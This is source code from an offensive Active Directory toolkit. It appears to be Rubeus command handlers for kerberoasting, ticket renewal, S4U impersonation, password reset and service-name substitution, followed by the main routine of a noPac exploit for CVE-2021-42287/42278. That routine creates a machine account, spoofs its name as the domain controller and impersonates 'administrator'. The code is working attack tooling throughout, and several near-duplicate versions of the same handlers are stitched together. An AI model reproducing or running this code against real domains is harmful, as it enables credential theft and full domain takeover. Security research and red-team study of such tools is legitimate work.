public void Execute(Dictionary <string, string> arguments) { if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("[*] Action: Reset User Password (AoratoPw)\r\n"); string newPassword = ""; string dc = ""; string targetUser = null; if (arguments.ContainsKey("/new")) { newPassword = arguments["/new"]; } if (String.IsNullOrEmpty(newPassword)) { Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n"); return; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/targetuser")) { targetUser = arguments["/targetuser"]; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Reset.UserPassword(kirbi, newPassword, dc, targetUser); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Reset.UserPassword(kirbi, newPassword, dc, targetUser); } else { Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { bool ptt = false; string dc = ""; string service = ""; if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/service")) { service = arguments["/service"]; } else { Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Ask.TGS(kirbi, service, ptt, dc, true); return; } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Ask.TGS(kirbi, service, ptt, dc, true); return; } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { bool ptt = arguments.ContainsKey("/ptt"); string dc = arguments.ContainsKey("/dc") ? arguments["/dc"] : string.Empty; if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { KRB_CRED kirbi = new KRB_CRED(Convert.FromBase64String(kirbi64)); if (arguments.ContainsKey("/autorenew")) { // if we want to auto-renew the TGT up until the renewal limit Renew.TGTAutoRenew(kirbi, dc); } else { // otherwise a single renew operation byte[] blah = Renew.TGT(kirbi, ptt, dc); } } else if (File.Exists(kirbi64)) { KRB_CRED kirbi = new KRB_CRED(File.ReadAllBytes(kirbi64)); if (arguments.ContainsKey("/autorenew")) { // if we want to auto-renew the TGT up until the renewal limit Renew.TGTAutoRenew(kirbi, dc); } else { // otherwise a single renew operation byte[] blah = Renew.TGT(kirbi, ptt, dc); } } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); } }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n"); string spn = ""; string user = ""; string OU = ""; string outFile = ""; string domain = ""; string dc = ""; string ldapFilter = ""; string supportedEType = "rc4"; bool useTGTdeleg = false; bool listUsers = false; KRB_CRED TGT = null; string pwdSetAfter = ""; string pwdSetBefore = ""; int resultLimit = 0; bool simpleOutput = false; if (arguments.ContainsKey("/spn")) { // roast a specific single SPN spn = arguments["/spn"]; } if (arguments.ContainsKey("/user")) { // roast a specific user (or users, comma-separated user = arguments["/user"]; } if (arguments.ContainsKey("/ou")) { // roast users from a specific OU OU = arguments["/ou"]; } if (arguments.ContainsKey("/domain")) { // roast users from a specific domain domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { // use a specific domain controller for kerberoasting dc = arguments["/dc"]; } if (arguments.ContainsKey("/outfile")) { // output kerberoasted hashes to a file instead of to the console outFile = arguments["/outfile"]; } if (arguments.ContainsKey("/simple")) { // output kerberoasted hashes to the output file format instead, to the console simpleOutput = true; } if (arguments.ContainsKey("/aes")) { // search for users w/ AES encryption enabled and request AES tickets supportedEType = "aes"; } if (arguments.ContainsKey("/rc4opsec")) { // search for users without AES encryption enabled roast supportedEType = "rc4opsec"; } if (arguments.ContainsKey("/ticket")) { // use an existing TGT ticket when requesting/roasting string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); TGT = new KRB_CRED(kirbiBytes); } else if (System.IO.File.Exists(kirbi64)) { byte[] kirbiBytes = System.IO.File.ReadAllBytes(kirbi64); TGT = new KRB_CRED(kirbiBytes); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } } if (arguments.ContainsKey("/usetgtdeleg") || arguments.ContainsKey("/tgtdeleg")) { // use the TGT delegation trick to get a delegated TGT to use for roasting useTGTdeleg = true; } if (arguments.ContainsKey("/pwdsetafter")) { // filter for roastable users w/ a pwd set after a specific date pwdSetAfter = arguments["/pwdsetafter"]; } if (arguments.ContainsKey("/pwdsetbefore")) { // filter for roastable users w/ a pwd set before a specific date pwdSetBefore = arguments["/pwdsetbefore"]; } if (arguments.ContainsKey("/ldapfilter")) { // additional LDAP targeting filter ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\''); } if (arguments.ContainsKey("/resultlimit")) { // limit the number of roastable users resultLimit = Convert.ToInt32(arguments["/resultlimit"]); } if (arguments.ContainsKey("/stats")) { // output stats on the number of kerberoastable users, don't actually roast anything listUsers = true; } if (arguments.ContainsKey("/creduser")) { // provide an alternate user to use for connection creds if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) { Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); return; } string[] parts = arguments["/creduser"].Split('\\'); string domainName = parts[0]; string userName = parts[1]; // provide an alternate password to use for connection creds if (!arguments.ContainsKey("/credpassword")) { Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); return; } string password = arguments["/credpassword"]; System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName); Roast.Kerberoast(spn, user, OU, domain, dc, cred, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, listUsers); } else { Roast.Kerberoast(spn, user, OU, domain, dc, null, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, listUsers); } }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("\r\n[*] Action: Service Ticket sname Substitution\r\n"); string altservice = ""; LUID luid = new LUID(); bool ptt = false; if (arguments.ContainsKey("/luid")) { try { luid = new LUID(arguments["/luid"]); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); return; } } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/altservice")) { altservice = arguments["/altservice"]; } else { Console.WriteLine("\r\n[X] An /altservice:SNAME or /altservice:SNAME/host needs to be supplied!\r\n"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid); } else { Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { string targetUser = ""; string targetSPN = ""; string altSname = ""; string user = ""; string domain = ""; string hash = ""; bool ptt = false; string dc = ""; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/impersonateuser")) { targetUser = arguments["/impersonateuser"]; } if (arguments.ContainsKey("/msdsspn")) { targetSPN = arguments["/msdsspn"]; } if (arguments.ContainsKey("/altservice")) { altSname = arguments["/altservice"]; } if (String.IsNullOrEmpty(targetUser)) { Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n"); return; } if (String.IsNullOrEmpty(targetSPN)) { Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else if (arguments.ContainsKey("/user")) { // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request user = arguments["/user"]; if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname); return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n"); Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("[*] Action: S4U\r\n"); string targetUser = ""; string targetSPN = ""; string altSname = ""; string user = ""; string domain = ""; string hash = ""; string outfile = ""; bool ptt = false; string dc = ""; string targetDomain = ""; string targetDC = ""; string impersonateDomain = ""; bool self = false; bool opsec = false; bool bronzebit = false; bool pac = true; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid KRB_CRED tgs = null; if (arguments.ContainsKey("/user")) { string[] parts = arguments["/user"].Split('\\'); if (parts.Length == 2) { domain = parts[0]; user = parts[1]; } else { user = arguments["/user"]; } } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/impersonateuser")) { if (arguments.ContainsKey("/tgs")) { Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n"); return; } targetUser = arguments["/impersonateuser"]; } if (arguments.ContainsKey("/impersonatedomain")) { impersonateDomain = arguments["/impersonatedomain"]; } if (arguments.ContainsKey("/targetdomain")) { targetDomain = arguments["/targetdomain"]; } if (arguments.ContainsKey("/targetdc")) { targetDC = arguments["/targetdc"]; } if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } if (arguments.ContainsKey("/msdsspn")) { targetSPN = arguments["/msdsspn"]; } if (arguments.ContainsKey("/altservice")) { altSname = arguments["/altservice"]; } if (arguments.ContainsKey("/self")) { self = true; } if (arguments.ContainsKey("/opsec")) { opsec = true; } if (arguments.ContainsKey("/bronzebit")) { bronzebit = true; } if (arguments.ContainsKey("/nopac")) { pac = false; } if (arguments.ContainsKey("/tgs")) { string kirbi64 = arguments["/tgs"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); tgs = new KRB_CRED(kirbiBytes); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); tgs = new KRB_CRED(kirbiBytes); } else { Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); return; } targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0]; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(targetUser) && tgs == null) { Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n"); Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n"); return; } if (String.IsNullOrEmpty(targetSPN) && tgs != null) { Console.WriteLine("\r\n[X] If a /tgs is supplied, you must also supply a /msdsspn !\r\n"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else if (arguments.ContainsKey("/user")) { // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request user = arguments["/user"]; if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac); return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n"); Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n"); byte[] serviceKey = null; byte[] asrepKey = null; byte[] krbKey = null; string serviceUser = ""; string serviceDomain = ""; if (arguments.ContainsKey("/servicekey")) { serviceKey = Helpers.StringToByteArray(arguments["/servicekey"]); } if (arguments.ContainsKey("/asrepkey")) { asrepKey = Helpers.StringToByteArray(arguments["/asrepkey"]); } if (arguments.ContainsKey("/krbkey")) { krbKey = Helpers.StringToByteArray(arguments["/krbkey"]); } // for generating service ticket hash when using AES256 if (arguments.ContainsKey("/serviceuser")) { serviceUser = arguments["/serviceuser"]; } if (arguments.ContainsKey("/servicedomain")) { serviceDomain = arguments["/servicedomain"]; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n"); string spn = ""; List <string> spns = null; string user = ""; string OU = ""; string outFile = ""; string domain = ""; string dc = ""; string ldapFilter = ""; string supportedEType = "rc4"; bool useTGTdeleg = false; bool listUsers = false; KRB_CRED TGT = null; string pwdSetAfter = ""; string pwdSetBefore = ""; int resultLimit = 0; int delay = 0; int jitter = 0; bool simpleOutput = false; bool enterprise = false; bool autoenterprise = false; if (arguments.ContainsKey("/spn")) { // roast a specific single SPN spn = arguments["/spn"]; } if (arguments.ContainsKey("/spns")) { spns = new List <string>(); if (System.IO.File.Exists(arguments["/spns"])) { string fileContent = Encoding.UTF8.GetString(System.IO.File.ReadAllBytes(arguments["/spns"])); foreach (string s in fileContent.Split('\n')) { if (!String.IsNullOrEmpty(s)) { spns.Add(s.Trim()); } } } else { foreach (string s in arguments["/spns"].Split(',')) { spns.Add(s); } } } if (arguments.ContainsKey("/user")) { // roast a specific user (or users, comma-separated user = arguments["/user"]; } if (arguments.ContainsKey("/ou")) { // roast users from a specific OU OU = arguments["/ou"]; } if (arguments.ContainsKey("/domain")) { // roast users from a specific domain domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { // use a specific domain controller for kerberoasting dc = arguments["/dc"]; } if (arguments.ContainsKey("/outfile")) { // output kerberoasted hashes to a file instead of to the console outFile = arguments["/outfile"]; } if (arguments.ContainsKey("/simple")) { // output kerberoasted hashes to the output file format instead, to the console simpleOutput = true; } if (arguments.ContainsKey("/aes")) { // search for users w/ AES encryption enabled and request AES tickets supportedEType = "aes"; } if (arguments.ContainsKey("/rc4opsec")) { // search for users without AES encryption enabled roast supportedEType = "rc4opsec"; } if (arguments.ContainsKey("/ticket")) { // use an existing TGT ticket when requesting/roasting string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); TGT = new KRB_CRED(kirbiBytes); } else if (System.IO.File.Exists(kirbi64)) { byte[] kirbiBytes = System.IO.File.ReadAllBytes(kirbi64); TGT = new KRB_CRED(kirbiBytes); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } } if (arguments.ContainsKey("/usetgtdeleg") || arguments.ContainsKey("/tgtdeleg")) { // use the TGT delegation trick to get a delegated TGT to use for roasting useTGTdeleg = true; } if (arguments.ContainsKey("/pwdsetafter")) { // filter for roastable users w/ a pwd set after a specific date pwdSetAfter = arguments["/pwdsetafter"]; } if (arguments.ContainsKey("/pwdsetbefore")) { // filter for roastable users w/ a pwd set before a specific date pwdSetBefore = arguments["/pwdsetbefore"]; } if (arguments.ContainsKey("/ldapfilter")) { // additional LDAP targeting filter ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\''); } if (arguments.ContainsKey("/resultlimit")) { // limit the number of roastable users resultLimit = Convert.ToInt32(arguments["/resultlimit"]); } if (arguments.ContainsKey("/delay")) { delay = Int32.Parse(arguments["/delay"]); if (delay < 100) { Console.WriteLine("[!] WARNING: delay is in milliseconds! Please enter a value > 100."); return; } } if (arguments.ContainsKey("/jitter")) { try { jitter = Int32.Parse(arguments["/jitter"]); } catch { Console.WriteLine("[X] Jitter must be an integer between 1-100."); return; } if (jitter <= 0 || jitter > 100) { Console.WriteLine("[X] Jitter must be between 1-100"); return; } } if (arguments.ContainsKey("/stats")) { // output stats on the number of kerberoastable users, don't actually roast anything listUsers = true; } if (arguments.ContainsKey("/enterprise")) { // use enterprise principals in the request, requires /spn and (/ticket or /tgtdeleg) enterprise = true; } if (arguments.ContainsKey("/autoenterprise")) { // use enterprise principals in the request if roasting with the SPN fails, requires /ticket or /tgtdeleg, does nothing is /spn or /spns is supplied autoenterprise = true; } if (arguments.ContainsKey("/creduser")) { // provide an alternate user to use for connection creds if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) { Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); return; } string[] parts = arguments["/creduser"].Split('\\'); string domainName = parts[0]; string userName = parts[1]; // provide an alternate password to use for connection creds if (!arguments.ContainsKey("/credpassword")) { Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); return; } string password = arguments["/credpassword"]; System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName); Roast.Kerberoast(spn, spns, user, OU, domain, dc, cred, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, delay, jitter, listUsers, enterprise, autoenterprise); } else { Roast.Kerberoast(spn, spns, user, OU, domain, dc, null, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, delay, jitter, listUsers, enterprise, autoenterprise); } }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("[*] Action: Ask TGS\r\n"); string outfile = ""; bool ptt = false; string dc = ""; string service = ""; bool enterprise = false; bool opsec = false; bool force = false; Interop.KERB_ETYPE requestEnctype = Interop.KERB_ETYPE.subkey_keymaterial; KRB_CRED tgs = null; bool usesvcdomain = false; if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/enterprise")) { enterprise = true; } if (arguments.ContainsKey("/opsec")) { opsec = true; } if (arguments.ContainsKey("/force")) { force = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/enctype")) { string encTypeString = arguments["/enctype"].ToUpper(); if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { requestEnctype = Interop.KERB_ETYPE.rc4_hmac; } else if (encTypeString.Equals("AES128")) { requestEnctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { requestEnctype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } else if (encTypeString.Equals("DES")) { requestEnctype = Interop.KERB_ETYPE.des_cbc_md5; } else { Console.WriteLine("Unsupported etype : {0}", encTypeString); return; } } if (arguments.ContainsKey("/service")) { service = arguments["/service"]; } else { Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed"); return; } if ((opsec) && (requestEnctype != Interop.KERB_ETYPE.aes256_cts_hmac_sha1) && !(force)) { Console.WriteLine("[X] Using /opsec but not using /enctype:aes256, to force this behaviour use /force"); return; } if (arguments.ContainsKey("/tgs")) { string kirbi64 = arguments["/tgs"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); tgs = new KRB_CRED(kirbiBytes); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); tgs = new KRB_CRED(kirbiBytes); } else { Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); return; } if (arguments.ContainsKey("/usesvcdomain")) { usesvcdomain = true; } } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, usesvcdomain); return; } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, usesvcdomain); return; } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
static void Main(string[] args) { string argDomainUser = ""; string argDomainUserPassword = ""; string argContainer = "COMPUTERS"; string argDistinguishedName = ""; string argDomain = ""; string argDomainController = ""; string argTargetSPN = ""; string argService = "LDAP"; string argImpersonate = "administrator"; bool argPTT = false; //machine account string argMachineAccount = ""; string argMachinePassword = ""; bool argRandom = false; bool argVerbose = true; Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID(); if (args == null || !args.Any()) { Console.WriteLine(); Console.WriteLine("CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter"); Console.WriteLine("By @Cube0x0"); Console.WriteLine(); Console.WriteLine("/domain /user /pass argument needed for scanning"); Console.WriteLine("/dc /mAccount /nPassword argument needed for exploitation"); Console.WriteLine(); Console.WriteLine("Examples:"); Console.WriteLine(" noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'"); Console.WriteLine(" noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!"); Console.WriteLine(" noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!"); Console.WriteLine(" noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt"); return; } foreach (var entry in args.Select((value, index) => new { index, value })) { string argument = entry.value.ToUpper(); switch (argument) { case "-DOMAIN": case "/DOMAIN": argDomain = args[entry.index + 1]; break; case "-USER": case "/USER": argDomainUser = args[entry.index + 1]; break; case "-PASS": case "/PASS": argDomainUserPassword = args[entry.index + 1]; break; case "-DC": case "/DC": argDomainController = args[entry.index + 1]; break; case "-MACCOUNT": case "/MACCOUNT": argMachineAccount = args[entry.index + 1]; break; case "-MPASSWORD": case "/MPASSWORD": argMachinePassword = args[entry.index + 1]; break; case "-SERVICE": case "/SERVICE": argService = args[entry.index + 1]; break; case "-IMPERSONATE": case "/IMPERSONATE": argImpersonate = args[entry.index + 1]; break; case "-PTT": case "/PTT": argPTT = true; break; } } NetworkCredential credential = new NetworkCredential(argDomainUser, argDomainUserPassword, argDomain); string machineAccountPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argMachinePassword); string domainUserPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argDomainUserPassword); if (args.Length >= 1) { if (args[0] == "scan") { if (string.IsNullOrEmpty(argDomain) || string.IsNullOrEmpty(argDomainUser) || string.IsNullOrEmpty(argDomainUserPassword)) { Console.WriteLine("[-] /domain /user /pass argument needed for scanning"); return; } scan(argDomain, argDomainUser, argDomainUserPassword, domainUserPasswordHash, argDomainController); return; } if (string.IsNullOrEmpty(argDomainController) || string.IsNullOrEmpty(argMachineAccount) || string.IsNullOrEmpty(argMachinePassword)) { Console.WriteLine("[-] /dc /mAccount /mPassword argument needed for exploitation"); return; } argTargetSPN = $"{argService}/{argDomainController}"; if (String.IsNullOrEmpty(argDomain)) { argDomain = String.Join(".", argDomainController.Split('.').Skip(1).ToArray()); } } //new machine account try { NewMachineAccount(argContainer, argDistinguishedName, argDomain, argDomainController, argMachineAccount, argMachinePassword, argVerbose, argRandom, credential); } catch (DirectoryOperationException e) { //so we can rerun the tool using the same machine account or reuse machine account if (!e.Message.Contains("The object exists")) { Console.WriteLine("[-] Failed to create machine account"); return; } } //clean spn SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "serviceprincipalname", argMachineAccount, "", false, true, argVerbose, credential); //set samaccountname SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argDomainController.Split('.')[0], false, false, argVerbose, credential); //ask tgt byte[] ticket = Ask.TGT(argDomainController.Split('.')[0], argDomain, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, "", false, argDomainController, luid, false, false, "", false, true); if (ticket.Length > 0) { Console.WriteLine("[+] Got TGT for {0}", argDomainController); //Console.WriteLine(Convert.ToBase64String(ticket)); } else { Console.WriteLine("[-] Could not get TGT for {0}", argDomainController); return; } //undo samaccountname change SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argMachineAccount, false, false, argVerbose, credential); //s4u KRB_CRED kirbi = new KRB_CRED(ticket); S4U.Execute(kirbi, argImpersonate, "", "", argPTT, argDomainController, argTargetSPN, null, "", "", true, false, false, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, argDomain, ""); }
